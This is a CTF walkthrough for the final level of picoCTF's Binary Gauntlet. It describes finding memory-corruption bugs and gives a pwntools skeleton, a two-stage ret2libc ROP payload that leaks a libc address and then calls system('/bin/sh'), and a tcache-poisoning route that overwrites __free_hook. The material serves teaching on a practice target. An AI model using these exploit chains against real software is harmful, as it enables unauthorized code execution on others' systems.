Description
Level 4 of Binary Gauntlet - the final stage. Analyze the binary carefully for a more advanced vulnerability and build a complete exploit chain.
Setup
Download the binary, check mitigations, and analyze with GDB/pwndbg.
wget https://mercury.picoctf.net/static/.../vulnchmod +x vulnchecksec vulnSolution
Walk me through it- Step 1Static analysis with Ghidra or GDBDisassemble the binary to understand its structure. Look for dangerous function calls: gets(), scanf(), strcpy(), sprintf() without length limits, or malloc/free patterns indicating heap use.bash
objdump -d vuln | lessbashstrings vuln | grep -i 'flag\|win\|shell\|system'bashgdb -q vulnbash# In GDB: info functions, disas main, disas vulnLearn more
Advanced binary exploitation requires methodical vulnerability discovery. Start with static analysis: identify all dangerous function calls (unsafe string functions, format functions, heap allocators), then understand the data flow to see how attacker-controlled input reaches those calls.
Common advanced vulnerabilities in CTF binary challenges:
- Heap overflow: Writing past the end of a heap-allocated buffer, corrupting heap metadata or adjacent chunk contents.
- Use-after-free (UAF): Using a pointer after the memory it points to has been freed. The freed memory may be reallocated for a different purpose, leading to type confusion.
- Double free: Freeing a pointer twice, corrupting the heap allocator's free list.
- Off-by-one: Writing exactly one byte past the end of a buffer, which may overwrite the lowest byte of a saved frame pointer or heap chunk size.
- Step 2Craft the exploit with pwntoolsBased on the vulnerability found, build the exploit. For heap exploitation, use pwndbg's heap commands to visualize chunk layout. For BOF with full mitigations, build a multi-stage ROP chain with libc leak.python
python3 - <<'EOF' from pwn import * context.binary = e = ELF('./vuln') context.arch = 'amd64' p = remote('mercury.picoctf.net', <PORT_FROM_INSTANCE>) # Stage 1: Leak libc base (if ASLR enabled) # ... craft leak payload ... # Stage 2: Exploit with real addresses # ... craft shell payload ... p.interactive() EOFLearn more
Two-stage layout of a fully-mitigated exploit.
Stage 1 -- LEAK payload1 = 'A'*offset + p64(pop_rdi) + p64(elf.got['puts']) # arg1 to puts() + p64(elf.plt['puts']) # call puts(puts@got) + p64(elf.sym['main']) # return to main, ready for stage 2 receive line, parse 8 bytes: leaked = u64(p.recvline().strip().ljust(8, b'\x00')) libc.address = leaked - libc.sym['puts'] Stage 2 -- EXECUTE payload2 = 'A'*offset + p64(ret) # 16-byte align before system + p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\x00'))) + p64(libc.sym['system'])Why returning to main works. The vulnerable function's frame is destroyed when it returns, but
main(or whatever called it) is set up to read input again. So after stage 1 leaks viaputs, the chain's finalp64(main)restarts the read loop with the same overflow primitive, this time with libc addresses you can compute.Heap variant: tcache poisoning. If the binary is heap-based instead, the chunk metadata layout you need to reason about looks like this:
Allocated chunk Freed chunk in tcache (glibc < 2.32) +-----------+ +-----------+ | prev_size | | prev_size | | size |APM| | size |APM| +-----------+ +-----------+ | data... | | fd -> next| <- attacker overwrites fd +-----------+ +-----------+ After overwriting fd to point at &__free_hook: malloc(size) -> chunk_orig (consumes head) malloc(size) -> &__free_hook (returns attacker-chosen addr) *bytes = one_gadget (writes one_gadget into __free_hook) free(any_chunk) -> calls __free_hook(any_chunk) -> jumps to one_gadget -> /bin/shpwndbg (a GDB plugin) provides essential heap analysis:
heapshows all chunks,binsshows freelist state,vis_heap_chunksvisualizes chunk layout, andmalloc_chunk addrparses a specific chunk header.
Flag
picoCTF{...}
Advanced binary exploitation requires identifying the specific vulnerability class (heap, format string, BOF), building a leak primitive to defeat ASLR, then chaining a write primitive to redirect execution.